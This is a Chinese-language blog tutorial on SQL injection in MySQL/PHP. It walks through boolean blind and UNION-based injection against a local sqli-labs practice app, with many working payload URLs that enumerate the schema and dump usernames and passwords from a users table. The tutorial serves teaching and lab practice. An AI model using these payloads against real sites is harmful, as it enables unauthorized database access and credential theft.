vlambda博客
学习文章列表

SQL注入漏洞详解(一)

注意:以下所有代码的环境:MySQL5.5.20+PHP


    SQL注入是因为后台SQL语句拼接了用户的输入,而且Web应用程序对用户输入数据的合法性没有判断和过滤,前端传入后端的参数是攻击者可控的,攻击者可以通过构造不同的SQL语句来实现对数据库的任意操作。比如查询、删除,增加,修改数据等等,如果数据库的用户权限足够大,还可以对操作系统执行操作。

    SQL注入可以分为平台层注入和代码层注入。前者由不安全的数据库配置或数据库平台的漏洞所致;后者主要是由于程序员对输入未进行细致地过滤。SQL注入是针对数据库、后台、系统层面的攻击!

    由于以下的环境都是MySQL数据库,所以先了解点MySQL有关的知识。

    ·  5.0以下是多用户单操作

    ·  5.0以上是多用户多操做

    在MySQL5.0以下,没有information_schema这个系统表,无法列表名等,只能暴力跑表名。

    在MySQL5.0以上,MySQL中默认添加了一个名为 information_schema 的数据库,该数据库中的表都是只读的,不能进行更新、删除和插入等操作,也不能加载触发器,因为它们实际只是一个视图,不是基本表,没有关联的文件。

    当尝试删除该数据库时,会爆出以下的错误!

drop database information_schema;ERROR 1044 (42000): Access denied for user 'root'@'localhost'

    mysql中注释符:

    ·  单行注释:#

    ·  多行注释:/**/

    information_schema数据库中三个很重要的表:

·  information_schema.schemata: 该数据表存储了mysql数据库中的所有数据库的库名

·  information_schema.tables:该数据表存储了mysql数据库中的所有数据表的表名

·  information_schema.columns: 该数据表存储了mysql数据库中的所有列的列名

关于这几个表的一些语法:

// 通过这条语句可以得到第一个的数据库名 select schema_name from information_schema.schemata limit 0,1
// 通过这条语句可以得到第一个的数据表名select table_name from information_schema.tables limit 0,1// 通过这条语句可以得到指定security数据库中的所有表名select table_name from information_schema.tables where table_schema='security'limit 0,1
// 通过这条语句可以得到第一个的列名select column_name from information_schema.columns limit 0,1// 通过这条语句可以得到指定数据库security中的数据表users的所有列名select column_name from information_schema.columns where table_schema='security' and table_name='users' limit 0,1
//通过这条语句可以得到指定数据表users中指定列password的第一条数据(只能是database()所在的数据库内的数据,因为处于当前数据库下的话不能查询其他数据库内的数据)select password from users limit 0,1

mysql中比较常用的一些函数:

·  version():查询数据库的版本

·  user():查询数据库的使用者

·  database():数据库

·  system_user():系统用户名

·  session_user():连接数据库的用户名

·  current_user:当前用户名

·  load_file():读取本地文件

·  @@datadir:读取数据库路径

·  @@basedir:mysql安装路径

·  @@version_complie_os:查看操作系统

ascii(str) : 返回给定字符的ascii值,如果str是空字符串,返回0;如果str是NULL,返回NULL。如 ascii(“a”)=97
length(str) : 返回给定字符串的长度,如 length(“string”)=6
substr(string,start,length) : 对于给定字符串string,从start位开始截取,截取length长度 ,如 substr(“chinese”,3,2)=”in
也可以 substr(string from start for length)
substr()、stbstring()、mid() 三个函数的用法、功能均一致
concat(username):将查询到的username连在一起,默认用逗号分隔
concat(str1,’*‘,str2):将字符串str1和str2的数据查询到一起,中间用*连接
group_concat(username) :将username数据查询在一起,用逗号连接
limit 0,1:查询第1个数 limit 5:查询前5limit 1,1:查询第2个数 limit n,1:查询第n+1个数
也可以 limit 1 offset 0

SQL注入的分类

依据注入点类型分类

·  数字类型的注入

·  字符串类型的注入

·  搜索型注入

依据提交方式分类

·  GET注入

·  POST注入

·  COOKIE注入

·  HTTP头注入(XFF注入、UA注入、REFERER注入)

依据获取信息的方式分类

·  基于布尔的盲注

·  基于时间的盲注

·  基于报错的注入

·  联合查询注入

·  堆查询注入 (可同时执行多条语句)



判断是否存在SQL注入

一个网站有那么多的页面,那么我们如何判断其中是否存在SQL注入的页面呢?我们可以用网站漏洞扫描工具进行扫描,常见的网站漏洞扫描工具有 AWVS、AppScan、OWASP-ZAP、Nessus 等。

但是在很多时候,还是需要我们自己手动去判断是否存在SQL注入漏洞。下面列举常见的判断SQL注入的方式。但是目前大部分网站都对此有防御,真正发现网页存在SQL注入漏洞,还得靠技术和经验了。

一:二话不说,先加单引号’、双引号”、单括号)、双括号))等看看是否报错,如果报错就可能存在SQL注入漏洞了。

二:还有在URL后面加 and 1=1 、 and 1=2 看页面是否显示一样,显示不一样的话,肯定存在SQL注入漏洞了。

三:还有就是Timing Attack测试,也就是时间盲注。有时候通过简单的条件语句比如 and 1=2 是无法看出异常的。

在MySQL中,有一个Benchmark() 函数,它是用于测试性能的。Benchmark(count,expr) ,这个函数执行的结果,是将表达式 expr 执行 count 次 。

因此,利用benchmark函数,可以让同一个函数执行若干次,使得结果返回的时间比平时要长,通过时间长短的变化,可以判断注入语句是否执行成功。这是一种边信道攻击,这个技巧在盲注中被称为Timing Attack,也就是时间盲注。

MySQL benchmark(100000000,md(5))sleep(3)
PostgreSQL PG_sleep(5)Generate_series(1,1000000)
SQLServer waitfor delay ‘0:0:5’

易出现SQL注入的功能点:凡是和数据库有交互的地方都容易出现SQL注入,SQL注入经常出现在登陆页面、涉及获取HTTP头(user-agent / client-ip等)的功能点及订单处理等地方。例如登陆页面,除常见的万能密码,post 数据注入外也有可能发生在HTTP头中的 client-ip 和 x-forward-for 等字段处。这些字段是用来记录登陆的 i p的,有可能会被存储进数据库中从而与数据库发生交互导致sql注入。

一:Boolean盲注

盲注,就是在服务器没有错误回显时完成的注入攻击。服务器没有错误回显,对于攻击者来说缺少了非常重要的信息,所以攻击者必须找到一个方法来验证注入的SQL语句是否得到了执行。

我们来看一个例子:这是sqli的Less-5,我自己对源码稍微改动了一下,使得页面会显示执行的sql语句

通过输入 http://127.0.0.1/sqli/Less-1/?id=1 我们得到了下面的页面

SQL注入漏洞详解(一)

然后输入 http://127.0.0.1/sqli/Less-5/?id=-1 我们得到下面的页面

SQL注入漏洞详解(一)

当我们输入 http://127.0.0.1/sqli/Less-5/?id=1‘ 我们得到下面的页面

SQL注入漏洞详解(一)


由此可以看出代码把 id 当成了字符来处理,而且后面还有一个限制显示的行数 limit 0,1 。当我们输入的语句正确时,就显示You are in…. 当我们输入的语句错误时,就不显示任何数据。当我们的语句有语法错误时,就报出 SQL 语句错误。

于是,我们可以推断出页面的源代码:

$sql="SELECT * FROM users WHERE id='$id' LIMIT 0,1"; //sql查询语句$result=mysql_query($sql);$row = mysql_fetch_array($result); if($row){ //如果查询到数据 echo 'You are in...........'; }else{ //如果没查询到数据 print_r(mysql_error());  }

于是我们可以通过构造一些判断语句,通过页面是否显示来证实我们的猜想。盲注一般用到的一些函数:ascii()、substr() 、length(),exists()、concat()

1:判断数据库类型

SQL注入漏洞详解(一)

这个例子中出错页面已经告诉了我们此数据库是MySQL,那么当我们不知道是啥数据库的时候,如何分辨是哪个数据库呢?

虽然绝大多数数据库的大部分SQL语句都类似,但是每个数据库还是有自己特殊的表的。通过表我们可以分辨是哪些数据库。

MySQL数据库的特有的表是 information_schema.tables , access数据库特有的表是 msysobjects 、SQLServer 数据库特有的表是 sysobjects ,oracle数据库特有的表是 dual。那么,我们就可以用如下的语句判断数据库。哪个页面正常显示,就属于哪个数据库

//判断是否是 Mysql数据库http://127.0.0.1/sqli/Less-5/?id=1' and exists(select*from information_schema.tables) #
//判断是否是 access数据库http://127.0.0.1/sqli/Less-5/?id=1' and exists(select*from msysobjects) #
//判断是否是 Sqlserver数据库http://127.0.0.1/sqli/Less-5/?id=1' and exists(select*from sysobjects) #
//判断是否是Oracle数据库http://127.0.0.1/sqli/Less-5/?id=1' and (select count(*) from dual)>0 #

对于MySQL数据库,information_schema 数据库中的表都是只读的,不能进行更新、删除和插入等操作,也不能加载触发器,因为它们实际只是一个视图,不是基本表,没有关联的文件。

information_schema.tables 存储了数据表的元数据信息,下面对常用的字段进行介绍:

·  table_schema: 记录数据库名

·  table_name: 记录数据表名

·  table_rows: 关于表的粗略行估计;

·  data_length : 记录表的大小(单位字节);

2:判断当前数据库名(以下方法不适用于access和SQL Server数据库)

1:判断当前数据库的长度,利用二分法http://127.0.0.1/sqli/Less-5/?id=1' and length(database())>5 //正常显示http://127.0.0.1/sqli/Less-5/?id=1'andlength(database())>10 //不显示任何数据http://127.0.0.1/sqli/Less-5/?id=1' and length(database())>7 //正常显示http://127.0.0.1/sqli/Less-5/?id=1'andlength(database())>8 //不显示任何数据
大于7正常显示,大于8不显示,说明大于7而不大于8,所以可知当前数据库长度为 8
2:判断当前数据库的字符,和上面的方法一样,利用二分法依次判断//判断数据库的第一个字符http://127.0.0.1/sqli/Less-5/?id=1' and ascii(substr(database(),1,1))>100
//判断数据库的第二个字符http://127.0.0.1/sqli/Less-5/?id=1'and ascii(substr(database(),2,1))>100
...........由此可以判断出当前数据库为 security

3:判断当前数据库中的表

http://127.0.0.1/sqli/Less-5/?id=1' and exists(select*from admin) //猜测当前数据库中是否存在admin1:判断当前数据库中表的个数// 判断当前数据库中的表的个数是否大于5,用二分法依次判断,最后得知当前数据库表的个数为4http://127.0.0.1/sqli/Less-5/?id=1' and (select count(table_name) from information_schema.tables where table_schema=database())>5 #
2:判断每个表的长度//判断第一个表的长度,用二分法依次判断,最后可知当前数据库中第一个表的长度为6http://127.0.0.1/sqli/Less-5/?id=1' and length((select table_name from information_schema.tables where table_schema=database() limit 0,1))=6
//判断第二个表的长度,用二分法依次判断,最后可知当前数据库中第二个表的长度为6http://127.0.0.1/sqli/Less-5/?id=1' and length((select table_name from information_schema.tables where table_schema=database() limit 1,1))=6
3:判断每个表的每个字符的ascii值//判断第一个表的第一个字符的ascii值http://127.0.0.1/sqli/Less-5/?id=1' and ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),1,1))>100 #
//判断第一个表的第二个字符的asciihttp://127.0.0.1/sqli/Less-5/?id=1' and ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),2,1))>100 #
.........由此可判断出存在表 emails、referers、uagents、users ,猜测users表中最有可能存在账户和密码,所以以下判断字段和数据在 users 表中判断

4. 判断表中的字段

http://127.0.0.1/sqli/Less-5/?id=1' and exists(select username from admin) //如果已经证实了存在admin表,那么猜测是否存在username字段1:判断表中字段的个数//判断users表中字段个数是否大于5,这里的users表是通过上面的语句爆出来的http://127.0.0.1/sqli/Less-5/?id=1' and (select count(column_name) from information_schema.columns where table_name='users')>5 #
2:判断字段的长度//判断第一个字段的长度http://127.0.0.1/sqli/Less-5/?id=1' and length((select column_name from information_schema.columns where table_name='users' limit 0,1))>5
//判断第二个字段的长度http://127.0.0.1/sqli/Less-5/?id=1' and length((select column_name from information_schema.columns where table_name='users' limit 1,1))>5
3:判断字段的ascii值//判断第一个字段的第一个字符的长度http://127.0.0.1/sqli/Less-5/?id=1' and ascii(substr((select column_name from information_schema.columns where table_name='users' limit 0,1),1,1))>100
//判断第一个字段的第二个字符的长度http://127.0.0.1/sqli/Less-5/?id=1' and ascii(substr((select column_name from information_schema.columns where table_name='users' limit 0,1),2,1))>100
...........由此可判断出users表中存在 id、username、password 字段

5.判断字段中的数据

我们知道了users中有三个字段 id 、username 、password,我们现在爆出每个字段的数据
1: 判断数据的长度// 判断id字段的第一个数据的长度http://127.0.0.1/sqli/Less-5/?id=1' and length((select id from users limit 0,1))>5
// 判断id字段的第二个数据的长度http://127.0.0.1/sqli/Less-5/?id=1' and length((select id from users limit 1,1))>5
2:判断数据的ascii值// 判断id字段的第一个数据的第一个字符的ascii值http://127.0.0.1/sqli/Less-5/?id=1' and ascii(substr((select id from users limit 0,1),1,1))>100
// 判断id字段的第一个数据的第二个字符的asciihttp://127.0.0.1/sqli/Less-5/?id=1' and ascii(substr((select id from users limit 0,1),2,1))>100
...........


二:union 注入

union联合查询适用于有显示列的注入。

我们可以通过order by来判断当前表的列数。最后可得知,当前表有3列

http://127.0.0.1/sqli/Less-1/?id=1‘ order by 3 #

我们可以通过 union 联合查询来知道显示的列数

127.0.0.1/sqli/Less-1/?id=1′ union select 1 ,2 ,3 #

SQL注入漏洞详解(一)


咦,这里为啥不显示我们联合查询的呢?因为这个页面只显示一行数据,所以我们可以用 and 1=2 把前面的条件给否定了,或者我们直接把前面 id=1 改成 id =-1 ,在后面的代码中,都是将 id=-1进行注入

http://127.0.0.1/sqli/Less-1/?id=1' and 1=2 union select 1,2,3 #

http://127.0.0.1/sqli/Less-1/?id=-1'
union select 1,2,3 #

SQL注入漏洞详解(一)

这样,我们联合查询的就显示出来了。可知,第2列和第3列是显示列。那我们就可以在这两个位置插入一些函数了。

我们可以通过这些函数获得该数据库的一些重要的信息

·  version() :数据库的版本

·  database() :当前所在的数据库

·  @@basedir : 数据库的安装目录

·  @@datadir :数据库文件的存放目录

·  user() :数据库的用户

·  current_user() : 当前用户名

·  system_user() : 系统用户名

·  session_user() :连接到数据库的用户名

http://127.0.0.1/sqli/Less-1/?id=-1'  union select 1,version(),user() #

SQL注入漏洞详解(一)

http://127.0.0.1/sqli/Less-1/?id=-1'  union select 1,database(),@@basedir #

SQL注入漏洞详解(一)

http://127.0.0.1/sqli/Less-1/?id=-1'   union select 1,@@datadir,current_user() #

SQL注入漏洞详解(一)


我们还可以通过union注入获得更多的信息。

// 获得所有的数据库 
http://127.0.0.1/sqli/Less-1/?id=-1' union select 1,group_concat(schema_name),3 from information_schema.schemata#

// 获得所有的表
http://127.0.0.1/sqli/Less-1/?id=-1' union select 1,group_concat(table_name),3 from information_schema.tables#

// 获得所有的列
http://127.0.0.1/sqli/Less-1/?id=-1'
union select 1,group_concat(column_name),3 from information_schema.columns#

#获取当前数据库中指定表的指定字段的值(只能是database()所在的数据库内的数据,因为处于当前数据库下的话不能查询其他数据库内的数据)
http://127.0.0.1/sqli/Less-1/?id=-1' union select 1,group_concat(password),3 from users%23

SQL注入漏洞详解(一)

当我们已知当前数据库名security,我们就可以通过下面的语句得到当前数据库的所有的表

http://127.0.0.1/sqli/Less-1/?id=-1'  union select 1,group_concat(table_name),3 from informat

如下,我们可以知道users表中有id,username,password三列

我们知道存在users表,又知道表中有 id ,username, password三列,那么我们可以构造如下语句

http://127.0.0.1/sqli/Less-1/?id=-1'  union select 1,group_concat(id,'--',username,'--',password),3 from users #

我们就把users表中的所有数据都给爆出来了


今天就写到这里啦,内容较多,明天会花时间完成重头部分~